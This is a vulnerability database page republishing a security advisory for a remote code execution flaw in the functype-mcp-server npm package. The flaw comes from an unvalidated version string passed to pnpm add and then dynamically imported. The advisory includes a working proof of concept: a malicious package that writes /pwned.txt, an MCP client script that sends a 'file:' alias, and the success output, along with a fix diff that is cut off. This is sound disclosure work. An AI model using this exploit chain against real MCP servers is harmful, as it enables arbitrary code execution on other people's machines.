high · 7.8 Patched

functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

CVE-2026-59176 · GHSA-wcjj-9m6g-2fr2 · published 9 Sept 2026

How serious is it

  • Severity: high, CVSS score 7.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-59176?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • functype-mcp-server (npm) <= 1.4.3

How to check

  1. Run npm ls functype-mcp-server in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade functype-mcp-server to 1.4.4 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 — arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 — dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source). 3. `index.ts:123` — `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` — `initDocsData(true)` called immediately. 6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 — Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 — Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build ``` **Step 3 — Set up an MCP client to deliver the exploit:** ```bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, }); await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF REPO="$TMP/functype" node exploit.mjs ``` **Step 4 — Verify arbitrary code execution:** ```bash cat /pwned.txt # Expected output: RCE: mcp import-time code execution via set_functype_version ``` **Dynamic reproduction (Docker):** The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE. ``` [poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via set_functype_version [evil-payload] Arbitrary code executed via functype/cli dynamic import ``` **Recommended remediation:** ```diff +const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +} execute: async (args) => { - const spec = `functype@${args.version}` + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype ve…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 3 Nov 2026. All vulnerabilities · RSS · JSON